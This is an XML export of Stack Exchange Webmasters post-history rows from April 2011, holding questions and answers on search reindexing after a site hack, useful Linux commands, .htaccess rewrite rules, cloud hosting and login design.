  <row Id="27748" PostHistoryTypeId="17" PostId="12167" RevisionGUID="2b32d569-88ac-4e18-ba02-c57fd9ae7a84" CreationDate="2011-04-13T21:41:43.183" UserId="-1" Comment="from http://stackoverflow.com/questions/5656008/suggestions-on-website-development" Text="" />
  <row Id="27749" PostHistoryTypeId="17" PostId="12169" RevisionGUID="1a53ac2a-c7ab-4a0a-8b22-e1415f28ded0" CreationDate="2011-04-13T21:46:39.727" UserId="-1" Comment="from http://serverfault.com/questions/259421/getting-google-to-reindex-faster/259425#259425" Text="" />
  <row Id="27750" PostHistoryTypeId="17" PostId="12170" RevisionGUID="5fe9ab8c-97f2-42ee-959a-91ce37a86c03" CreationDate="2011-04-13T21:46:39.727" UserId="-1" Comment="from http://serverfault.com/questions/259421/getting-google-to-reindex-faster/259426#259426" Text="" />
  <row Id="27751" PostHistoryTypeId="2" PostId="12169" RevisionGUID="86249dca-f665-4c8c-8647-c8d294a291f9" CreationDate="2011-04-13T21:18:10.833" UserDisplayName="Richard West" Text="If the Google bots are crawling your new, updated site, then it's really just a matter of time before those results start showing up in the search results.&#xD;&#xA;&#xD;&#xA;I am unaware of anthing your can do, short of a direct appeal to Google (good luck getting through to someone!)." />
  <row Id="27752" PostHistoryTypeId="2" PostId="12170" RevisionGUID="5d34f6c4-f253-4d4a-b58e-9a993da76aa9" CreationDate="2011-04-13T21:20:25.270" UserId="823" Text="You cant get Google to crawl faster, but you can provide a site map which allows you to specify updated datetime and update frequency. It is not full proof, but Google will include that in the algorithm.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27753" PostHistoryTypeId="2" PostId="12168" RevisionGUID="8aeb45ac-ccbb-4da3-b716-d2abb807dcab" CreationDate="2011-04-13T21:04:12.383" UserDisplayName="user78335" Text="We run a high-traffic site for a large organization and it was compromised through an editor account.  The attacker was able to poison the google cache, and the visible result to us is that if you search for us on using Google, the result (and the pages visible through google cache) show us as a drug warehouse.&#xD;&#xA;&#xD;&#xA;Our site has been completely audited and is 100% clean now, and we have requested that google reindex our site through their webmaster tools.  Even though google bots hit our site almost constantly, we have yet to see the google cache page get recycled.  Does anyone know anyone know a quicker way to make this happen?  The drug-warehouse page is embarassing to us and our organization." />
  <row Id="27754" PostHistoryTypeId="1" PostId="12168" RevisionGUID="8aeb45ac-ccbb-4da3-b716-d2abb807dcab" CreationDate="2011-04-13T21:04:12.383" UserDisplayName="user78335" Text="Getting google to reindex faster" />
  <row Id="27755" PostHistoryTypeId="3" PostId="12168" RevisionGUID="8aeb45ac-ccbb-4da3-b716-d2abb807dcab" CreationDate="2011-04-13T21:04:12.383" UserDisplayName="user78335" Text="&lt;spam&gt;&lt;cache&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="27756" PostHistoryTypeId="17" PostId="12168" RevisionGUID="ae7a456a-d785-4fb5-9154-29345932ec13" CreationDate="2011-04-13T21:46:39.727" UserId="-1" Comment="from http://serverfault.com/questions/259421/getting-google-to-reindex-faster" Text="" />
  <row Id="27757" PostHistoryTypeId="2" PostId="12171" RevisionGUID="f93e456f-b7ee-45e4-a8ab-00f8809a7e57" CreationDate="2011-04-13T21:55:45.453" UserId="6816" Text="Website development and Website hosting are two very different beasts.  If your primary goal is to learn how to develop I would recommend using a local desktop.  You can install whatever you want (apache for webserver, development environments, libraries, etc) and play and learn as much as you want for no cost.&#xD;&#xA;&#xD;&#xA;Once you have a sense of what it is you want to build and that you want to expose it to the general public you can do so either through your own internet connection, via a free hosting service or if you really want a paid service.&#xD;&#xA;&#xD;&#xA;I think a lot of development is about learning and playing and there's no reason to pay someone &gt;$200/yr for the privilege. " />
  <row Id="27758" PostHistoryTypeId="4" PostId="12165" RevisionGUID="7485c7d5-d024-428b-b744-81ad674ef214" CreationDate="2011-04-13T22:10:19.357" UserId="1253" Comment="Added better title" Text="Why do porn websites link to my site?" />
  <row Id="27759" PostHistoryTypeId="6" PostId="12165" RevisionGUID="7485c7d5-d024-428b-b744-81ad674ef214" CreationDate="2011-04-13T22:10:19.357" UserId="1253" Comment="Added better title" Text="&lt;links&gt;" />
  <row Id="27760" PostHistoryTypeId="10" PostId="12167" RevisionGUID="27c28744-4ed8-47ce-8c27-eeb76bfb6ace" CreationDate="2011-04-13T22:11:10.590" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="27761" PostHistoryTypeId="2" PostId="12172" RevisionGUID="baebb247-f81c-4c06-a511-6599fce7d04d" CreationDate="2011-04-13T22:17:52.707" UserId="6355" Text="Assuming your site has it's own unique domain name, you probably should check if this words are not on your site in user comments, a wiki forum or some sort of area where public can introduce/modify content. Maybe you are importing an RSS/feed or some sort of external content that may contain those words, including advertising programs or public trackbacks/pingbacks.&#xD;&#xA;&#xD;&#xA;I find it less likely that your website appears on searches if those names are not in the site. If that was the case, it would be difficult that those were the most relevant ones. A couple of years ago this could happen, but AFAIK Google changed it's logarithms to prevent Google bombing." />
  <row Id="27762" PostHistoryTypeId="2" PostId="12173" RevisionGUID="b13a81ae-d18c-468c-bd6b-43227d6e2d8b" CreationDate="2011-04-13T23:35:50.703" UserId="1253" Text="In the case of WordPress, which is what you're describing, it is commonly used by the Akisment plugin to determine if a comment is spam." />
  <row Id="27763" PostHistoryTypeId="5" PostId="11941" RevisionGUID="ef3ac6c8-6d3a-4758-8229-3d09194b7b19" CreationDate="2011-04-13T23:55:30.890" UserId="5362" Comment="added 155 characters in body; added 2 characters in body" Text="First off, the wording of your question very unclear, but I'll take a stab at it anyway...&#xD;&#xA;&#xD;&#xA;I don't believe you would need to enter any IP addresses because the DNS takes care of that automatically.&#xD;&#xA;&#xD;&#xA;**EDIT:  When I answered this question, the OP only had the first three sentences posted.  IMHO, he should have indicated everything else as an &quot;edit&quot;.**" />
  <row Id="27764" PostHistoryTypeId="25" PostId="12168" RevisionGUID="77b69c4f-d9e5-4315-afc1-49949f0c9603" CreationDate="2011-04-14T00:09:11.700" Comment="http://twitter.com/#!/StackWebmasters/status/58320861685485569" />
  <row Id="27765" PostHistoryTypeId="2" PostId="12174" RevisionGUID="327e7907-31e7-4cdb-b828-ad5a004eeaf0" CreationDate="2011-04-14T02:58:19.860" UserId="5322" Text="In October 2009 on Google's blog ([see this link][1]) there was a proposal presented to make ajax websites crawlable.&#xD;&#xA;&#xD;&#xA;Does anyone know if this got past the proposal stage and is it safe to use the methods outlined in that blog post? It's been 18 months since so I'm guessing something's happened since then, but I can't find any more info about it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/10/proposal-for-making-ajax-crawlable.html" />
  <row Id="27766" PostHistoryTypeId="1" PostId="12174" RevisionGUID="327e7907-31e7-4cdb-b828-ad5a004eeaf0" CreationDate="2011-04-14T02:58:19.860" UserId="5322" Text="Can we Use Google's Ajax Proposal?" />
  <row Id="27767" PostHistoryTypeId="3" PostId="12174" RevisionGUID="327e7907-31e7-4cdb-b828-ad5a004eeaf0" CreationDate="2011-04-14T02:58:19.860" UserId="5322" Text="&lt;seo&gt;&lt;google&gt;&lt;google-search&gt;&lt;ajax&gt;" />
  <row Id="27768" PostHistoryTypeId="25" PostId="12165" RevisionGUID="65d95c41-b524-4378-9881-76b7baf5ff90" CreationDate="2011-04-14T03:09:11.913" Comment="http://twitter.com/#!/StackWebmasters/status/58366162282618882" />
  <row Id="27769" PostHistoryTypeId="25" PostId="12118" RevisionGUID="f2e65074-c216-421a-843a-f3b661d928ef" CreationDate="2011-04-14T06:09:11.770" Comment="http://twitter.com/#!/StackWebmasters/status/58411459293622272" />
  <row Id="27770" PostHistoryTypeId="17" PostId="12176" RevisionGUID="d2061398-ff4d-40c9-a390-49b33a7b4279" CreationDate="2011-04-14T06:28:01.710" UserId="-1" Comment="from http://stackoverflow.com/questions/5659158/most-important-linux-commands-for-web-development/5659250#5659250" Text="" />
  <row Id="27771" PostHistoryTypeId="17" PostId="12177" RevisionGUID="b0faa12c-82d5-4d59-a0b9-cdf7057ec836" CreationDate="2011-04-14T06:28:01.710" UserId="-1" Comment="from http://stackoverflow.com/questions/5659158/most-important-linux-commands-for-web-development/5659270#5659270" Text="" />
  <row Id="27772" PostHistoryTypeId="17" PostId="12178" RevisionGUID="4b1d49e4-90e8-4414-a4fb-9195e9fbd578" CreationDate="2011-04-14T06:28:01.710" UserId="-1" Comment="from http://stackoverflow.com/questions/5659158/most-important-linux-commands-for-web-development/5659275#5659275" Text="" />
  <row Id="27773" PostHistoryTypeId="17" PostId="12179" RevisionGUID="e09b1aa4-269c-4f93-aaed-423428ace772" CreationDate="2011-04-14T06:28:01.710" UserId="-1" Comment="from http://stackoverflow.com/questions/5659158/most-important-linux-commands-for-web-development/5659299#5659299" Text="" />
  <row Id="27774" PostHistoryTypeId="17" PostId="12180" RevisionGUID="20ecbe88-ac62-43dd-8053-ce638dfd0575" CreationDate="2011-04-14T06:28:01.710" UserId="-1" Comment="from http://stackoverflow.com/questions/5659158/most-important-linux-commands-for-web-development/5659329#5659329" Text="" />
  <row Id="27775" PostHistoryTypeId="2" PostId="12176" RevisionGUID="b301ae04-8333-419d-9017-96c706359a8d" CreationDate="2011-04-14T06:09:07.020" UserId="2594" Text="Well, you've left out the really obviously useful grep. If you don't know grep, you're really crippled. You'll also need to understand how pipes work, and how redirects work. Also, you should have a good understanding of ps, kill, and (if you're working on a vps) free. Also the difference between stderr and stdout.&#xD;&#xA;&#xD;&#xA;In Python, those commands are generally in the `os` library.&#xD;&#xA;&#xD;&#xA;http://docs.python.org/library/os.html" />
  <row Id="27776" PostHistoryTypeId="2" PostId="12177" RevisionGUID="02a8baec-3bbd-44ac-9904-6ab0bf083a27" CreationDate="2011-04-14T06:11:12.420" UserDisplayName="Mike Ramirez" Text="This is by far an incomplete list, cause ultimately the full list will include what's in core-utils and many other packages. But the list you have, can easily be sumplemented with whats in available in `/bin`&#xD;&#xA;&#xD;&#xA;So `ls /bin`  and `ls /usr/bin` (/usr/bin will be a long listing, so pipe it into `less`).  and start looking, reading and marking down.  `/sbin` and `/usr/sbin` have commands that might be useful, but these are more for root than a regular user.  There is never going to be a definitive list of commands to know &quot;for development&quot;, because ultimately, each and every command has its place and usage, &quot;for development&quot; being way to ambiguous.&#xD;&#xA;&#xD;&#xA;Also get a good unix book and read through that, that will take you through the more common commands also.&#xD;&#xA;&#xD;&#xA;The os library and the shutil library are the best place to find these tools... in python. shutil having copy, copy2 and rmtree (The most used ones by me).  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="27777" PostHistoryTypeId="2" PostId="12178" RevisionGUID="6f42c6f5-4280-4407-8eb0-ddeeafab3ed1" CreationDate="2011-04-14T06:11:52.777" UserDisplayName="Simone D'Amico" Text="Look especially to BASIC system administration. You must know how to write an init script and how to manage users in Distro. Spend also some time to learn how to change permission (chmod) and the owner (chown) of a file. " />
  <row Id="27778" PostHistoryTypeId="2" PostId="12179" RevisionGUID="6620c6b0-c3a2-48a4-ad28-242b45dc66b6" CreationDate="2011-04-14T06:14:19.860" UserId="2854" Text="I wouldn't want to miss [`ack`][1]. It's basically a recursive grep but designed for searching sourcecode so you can e.g. use `--python` to search only python files etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://betterthangrep.com/" />
  <row Id="27779" PostHistoryTypeId="2" PostId="12180" RevisionGUID="0428bfac-f4d2-4fb6-8747-e4dba1d935bb" CreationDate="2011-04-14T06:17:45.107" UserDisplayName="A Lee" Text="Here's a random list of useful linux commands in no particular order:&#xD;&#xA;&#xD;&#xA; - grep (or [ack-grep][1])&#xD;&#xA; - find &#xD;&#xA; - xargs&#xD;&#xA; - chown/chmod (-R to recur down a directory tree)&#xD;&#xA; - rsync&#xD;&#xA; - tail -f, less (F to follow a file)&#xD;&#xA; - wget, curl&#xD;&#xA; - apache benchmarking: [ab][2] &#xD;&#xA; - performance / process monitoring: ps, dstat, uptime, top, iftop, iptraf, iostat&#xD;&#xA; - learn shell scripting&#xD;&#xA;&#xD;&#xA;Another command I often use (aliased) to check memory usage is &#xD;&#xA;&#xD;&#xA;    ps -eo rss,pid,comm,args | sort -n &#xD;&#xA;&#xD;&#xA;I'm not sure what you mean exactly by piping, but `subprocess.call` allows you to pipe shell commands into each other.  I'd also recommend [fabric][3] for deploying python projects.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://betterthangrep.com/&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/programs/ab.html&#xD;&#xA;  [3]: http://fabfile.org" />
  <row Id="27780" PostHistoryTypeId="2" PostId="12175" RevisionGUID="74df76a9-2078-4d32-94c5-5562bf26cece" CreationDate="2011-04-14T05:58:40.090" UserDisplayName="David542" Text="What are the most important linux commands to know for development?&#xD;&#xA;&#xD;&#xA;I currently have the following down ok: cp, rm, mkdir, pwd, ls, scp, ssh, cat, mv, tar, and gzip. What else are commonly used? I'm not looking to memorize all the commands, but just be comfortable with the most-used commands, and look up the ones I don't know when it comes to that. &#xD;&#xA;&#xD;&#xA;Also, from Python what is the (pipe) command to copy, move, rm or mkdir?" />
  <row Id="27781" PostHistoryTypeId="1" PostId="12175" RevisionGUID="74df76a9-2078-4d32-94c5-5562bf26cece" CreationDate="2011-04-14T05:58:40.090" UserDisplayName="David542" Text="Most important linux commands for web development" />
  <row Id="27782" PostHistoryTypeId="3" PostId="12175" RevisionGUID="74df76a9-2078-4d32-94c5-5562bf26cece" CreationDate="2011-04-14T05:58:40.090" UserDisplayName="David542" Text="&lt;python&gt;&lt;linux&gt;" />
  <row Id="27783" PostHistoryTypeId="17" PostId="12175" RevisionGUID="15e7396f-f37f-4957-89ac-278e2ec08072" CreationDate="2011-04-14T06:28:01.710" UserId="-1" Comment="from http://stackoverflow.com/questions/5659158/most-important-linux-commands-for-web-development" Text="" />
  <row Id="27784" PostHistoryTypeId="2" PostId="12181" RevisionGUID="8a7d0419-95d9-42f0-8653-335170bbd8ce" CreationDate="2011-04-14T06:41:47.557" UserId="6819" Text="I would like to add `sed` and `awk` to the list :]" />
  <row Id="27785" PostHistoryTypeId="2" PostId="12182" RevisionGUID="1ed46730-34a5-4a0a-9c91-4ccd77f39ea7" CreationDate="2011-04-14T06:43:05.147" UserId="3790" Text="This is the answer:&#xD;&#xA;&#xD;&#xA;You can do this by being more specific with the CSS selector -&#xD;&#xA;&#xD;&#xA;This one will apply to all of the titles, make this one the one for the main heading with the underline -&#xD;&#xA;&#xD;&#xA;    h2.contentheadingrealisaties{border-bottom: 1px solid #333}&#xD;&#xA;&#xD;&#xA;Then use this to single out the article titles in a listing:&#xD;&#xA;&#xD;&#xA;    .leadingrealisaties h2.contentheadingrealisaties{border:0;}&#xD;&#xA;&#xD;&#xA;Obviously you will need to add in the rest of the CSS, but this will get you started.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27786" PostHistoryTypeId="2" PostId="12183" RevisionGUID="f31ffc93-5807-488b-a44e-177ff1e75468" CreationDate="2011-04-14T06:43:27.797" UserId="6820" Text="Learn to use a good source control package (I recommend ``git``) to keep track of your changes.&#xD;&#xA;&#xD;&#xA;Source control can be useful for tracking both source files _and_ configuration files." />
  <row Id="27787" PostHistoryTypeId="2" PostId="12184" RevisionGUID="7783ebe7-05c7-4b66-b384-fc26c7b4aeb3" CreationDate="2011-04-14T07:01:37.467" UserId="576" Text="You could consider using Microsoft's [Window Azure][1] cloud platform instead of Amazon's cloud as there is good in-built support for the technologies you have mentioned.&#xD;&#xA;&#xD;&#xA;To start experimenting with Azure, you can try out their free [Windows Azure Platform 30 Day Pass][2] &amp; see if it fits your requirements.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/windowsazure/offers/&#xD;&#xA;  [2]: http://mvark.blogspot.com/2011/04/how-to-try-windows-azure-for-free.html" />
  <row Id="27788" PostHistoryTypeId="2" PostId="12185" RevisionGUID="0140079b-2271-4be5-8c2e-9f9fda912297" CreationDate="2011-04-14T07:53:49.313" UserId="6822" Text="My Bank found a very good reason to use two-step authentication: They've got 3 methods of authenticating users that I know of:&#xD;&#xA;&#xD;&#xA;- Crypto card for companies&#xD;&#xA;- Crypto card for private accounts (different kind of card!)&#xD;&#xA;- Password-only authentication&#xD;&#xA;&#xD;&#xA;They use two-step login so they know the kind of account you've got so they can offer some assistance when entering the password. If you need to enter a password they clearly ask for a password. If you need to use your crypto card to generate a unique authentication code they ask for the code and provide a help link specific to your kind of card." />
  <row Id="27789" PostHistoryTypeId="2" PostId="12186" RevisionGUID="a09d9937-ed15-4f21-9c54-3b61bde399c3" CreationDate="2011-04-14T08:33:46.047" UserId="6824" Text="I thought that Wikipedia would be a good place for this: they have lists of publications in lots of other sectors. But I couldn't see a list of marketing and advertising publications.&#xD;&#xA;&#xD;&#xA;I have of course searched elsewhere too, but I can't find a good list...&#xD;&#xA;&#xD;&#xA;I'm looking for lists of publications in USA/Canada/UK/Ireland/Australia/New Zealand/South Africa primarily, but also in all other countries." />
  <row Id="27790" PostHistoryTypeId="1" PostId="12186" RevisionGUID="a09d9937-ed15-4f21-9c54-3b61bde399c3" CreationDate="2011-04-14T08:33:46.047" UserId="6824" Text="Where to find a list of marketing and advertising publications?" />
  <row Id="27791" PostHistoryTypeId="3" PostId="12186" RevisionGUID="a09d9937-ed15-4f21-9c54-3b61bde399c3" CreationDate="2011-04-14T08:33:46.047" UserId="6824" Text="&lt;publishing&gt;" />
  <row Id="27792" PostHistoryTypeId="2" PostId="12187" RevisionGUID="4dae318b-45ae-4c8c-bcdd-0dc1acc9f950" CreationDate="2011-04-14T08:41:28.647" UserId="6789" Text="I would say it makes it less secure.&#xD;&#xA;Because you can then know that user123 has an account on the site, and then you can do a brute force on that account.&#xD;&#xA;&#xD;&#xA;Standard practice is to never to let people know if the account or password is incorrect .. &quot;you entered an incorrect username or password&quot; &#xD;&#xA;&#xD;&#xA;making it a lot harder to brute force." />
  <row Id="27793" PostHistoryTypeId="2" PostId="12188" RevisionGUID="e03b447b-dc90-42cb-918a-c2b8bc506c63" CreationDate="2011-04-14T08:47:27.780" UserId="6789" Text="Yes you can. It was ready to be used when it was posted. I'm not sure if other search engines use it.&#xD;&#xA;&#xD;&#xA;To be sure google does (before going through the work of setting it all up) setup a hidden link and see if google hits it ..&#xD;&#xA;&#xD;&#xA;it works on twitter&#xD;&#xA;https://twitter.com/?_escaped_fragment_=/username" />
  <row Id="27794" PostHistoryTypeId="5" PostId="12036" RevisionGUID="bfb26a56-ad00-415f-8978-b071f5958f17" CreationDate="2011-04-14T08:56:21.017" UserId="6746" Comment="Brought additional details" Text="Is there any extern factor (that is, not in the .htaccess file) that can cause the RewriteRule not to work for specific URLs (of existing pages)? &#xD;&#xA;&#xD;&#xA;I have the following code in the .htaccess (it performs redirection but not for all URLs): &#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?domain\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;[Edit]&#xD;&#xA;I've already made some changes since I've first posted the question, changes that didn't bring any improvement in what regards the way redirections are made - so the problem still needs a solution. &#xD;&#xA;The whole .htaccess file content is: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks -MultiViews&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    AddHandler x-httpd-php .html .htm&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_gzip.c&gt;&#xD;&#xA;    &#xD;&#xA;      mod_gzip_on Yes&#xD;&#xA;      &#xD;&#xA;      mod_gzip_dechunk Yes&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include handler ^cgi-script$&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include mime ^text/.*&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_include mime ^application/x-javascript.*&#xD;&#xA;      &#xD;&#xA;      mod_gzip_item_exclude mime ^image/.*&#xD;&#xA;    &#xD;&#xA;      mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_expires.c&gt;&#xD;&#xA;    &#xD;&#xA;      ExpiresActive On&#xD;&#xA;    &#xD;&#xA;      ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType text/html &quot;access plus 1 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType image/gif &quot;access plus 2592000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType image/jpeg &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/png &quot;access plus 2592000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType text/css &quot;access plus 2592000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType text/javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;      ExpiresByType application/x-javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(css)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(js)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, private&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(xml|txt)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, public, must-revalidate&quot;&#xD;&#xA;     &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(html|htm|php)$&quot;&gt;&#xD;&#xA;    &#xD;&#xA;        Header set Cache-Control &quot;max-age=1, private, must-revalidate&quot;&#xD;&#xA;    &#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;    &#xD;&#xA;      Header unset ETag&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    FileETag None&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;    &#xD;&#xA;      Header unset Last-Modified&#xD;&#xA;    &#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?domain\.com$&#xD;&#xA;    RewriteRule .? http://domain.com%{REQUEST_URI} [R=301,L]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27795" PostHistoryTypeId="5" PostId="12184" RevisionGUID="e55a9246-4f98-40f7-8ece-532a60d273dd" CreationDate="2011-04-14T08:58:29.893" UserId="576" Comment="changed link url" Text="You could consider using Microsoft's [Window Azure][1] cloud platform instead of Amazon's cloud as there is good in-built support for the technologies you have mentioned.&#xD;&#xA;&#xD;&#xA;To start experimenting with Azure, you can try it out with a free [Windows Azure Platform 30 Day Pass][2] &amp; see if it fits your requirements.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.barebonescoder.com/2010/12/simple-mvc-2-app-on-windows-azure/&#xD;&#xA;  [2]: http://mvark.blogspot.com/2011/04/how-to-try-windows-azure-for-free.html" />
  <row Id="27796" PostHistoryTypeId="2" PostId="12189" RevisionGUID="e2634ef5-6b2e-4896-b5c3-b2c565d391cd" CreationDate="2011-04-14T09:02:14.690" UserId="480" Text="Easiest way to solve this would be to add:&#xD;&#xA;&#xD;&#xA;`for each (iframe in document.getElementsByTagName('iframe')) { iframe.src = iframe.src };`&#xD;&#xA;&#xD;&#xA;to an onload/pre-onload Javascript block.&#xD;&#xA;&#xD;&#xA;This would solve the issue even if it existed on other browsers.&#xD;&#xA;&#xD;&#xA;Wrap it in a try/catch if you want it to silently fail on older versions of IE (which don't need this fix anyway)." />
  <row Id="27797" PostHistoryTypeId="25" PostId="12175" RevisionGUID="2aa4164e-aa09-48f5-8eff-e35d15987054" CreationDate="2011-04-14T09:09:11.717" Comment="http://twitter.com/#!/StackWebmasters/status/58456757982330880" />
  <row Id="27798" PostHistoryTypeId="2" PostId="12190" RevisionGUID="d59ef328-c9d6-4e7b-9b16-1a31b7194546" CreationDate="2011-04-14T09:11:43.087" UserId="3111" Text="Have you thought about using a mobile sitemap?&#xD;&#xA;&#xD;&#xA; * [Mobile Sitemaps][2]&#xD;&#xA;&#xD;&#xA;Here is an article:&#xD;&#xA;&#xD;&#xA; * [Help Google index your mobile site][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/topic.py?topic=8493&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/11/help-google-index-your-mobile-site.html&#xD;&#xA;" />
  <row Id="27799" PostHistoryTypeId="2" PostId="12191" RevisionGUID="32c03882-e721-4be2-8fcd-59c674247127" CreationDate="2011-04-14T09:18:17.293" UserId="6825" Text="Like with most things, it is partly science and partly art.   You have done a nice job handling the “science” piece of sending emails by implementing proper best practices from server config to a general reputation measurement.  The other side of the coin is the “art” of improving your sending performance per ISP along with the probability of inbox delivery.   This is an intentionally dynamic landscape comprised of filters, ISP discretion, thresholds and unpredictable user behavior (designating you as spam).  It requires constant monitoring comprised of tools, people and actions.&#xD;&#xA;&#xD;&#xA;Customers of [SMTP][1] come to us because they don’t have the expertise and/or resources to allocate.  For example, you can set up FBLs with each ISP, but you need someone to monitor, interpret complaints and react with a remedy. Or, you send out a marketing email and AOL blocks your IP because they determine the email to be suspect based on any number of factors.   Who contacts AOL to unblock your IP.  What happens 3 weeks later when it gets blocked again.&#xD;&#xA;&#xD;&#xA;So, when you ask what an SMTP service provider does for you, they should be watching your back, providing visibility to your deliveries and advising you on needed actions to maintain a good sender status.  If they are simply handling the science or mechanical end, then you will be no better off.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smtp.com/" />
  <row Id="27800" PostHistoryTypeId="2" PostId="12192" RevisionGUID="a8e75d62-4b89-46d0-91cf-933dd66eceb6" CreationDate="2011-04-14T09:23:33.680" UserId="1643" Text="[Confluence][1] does those things and is a good price provided you have less than 10 users - $10.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.atlassian.com/software/confluence/pricing.jsp" />
  <row Id="27801" PostHistoryTypeId="2" PostId="12193" RevisionGUID="81d1e8d3-5f5e-4e6d-9c2e-db70e202a0e1" CreationDate="2011-04-14T09:35:53.167" UserId="6746" Text="While trying to solve a problem on my website, a recommendation about my .htaccess file I got was&#xD;&#xA;&#xD;&#xA;&gt;  First of all, please check on the&#xD;&#xA;&gt; server for all the different modules&#xD;&#xA;&gt; if they are enabled, and once they&#xD;&#xA;&gt; are, remove the &lt;IfModule&#xD;&#xA;&gt; ...&gt;&lt;/IfModule&gt; blocks. They are&#xD;&#xA;&gt; putting an unnecessary strain on your&#xD;&#xA;&gt; server.&#xD;&#xA;&#xD;&#xA;I don't know where should I look to see if modules are active - is it in the CMS? in the httpd.conf file? in the files on my server? should I make a slight modification in the .htaccess as a test?&#xD;&#xA;But more than that, could the recommendation self be not appropriate?&#xD;&#xA;Thanks. " />
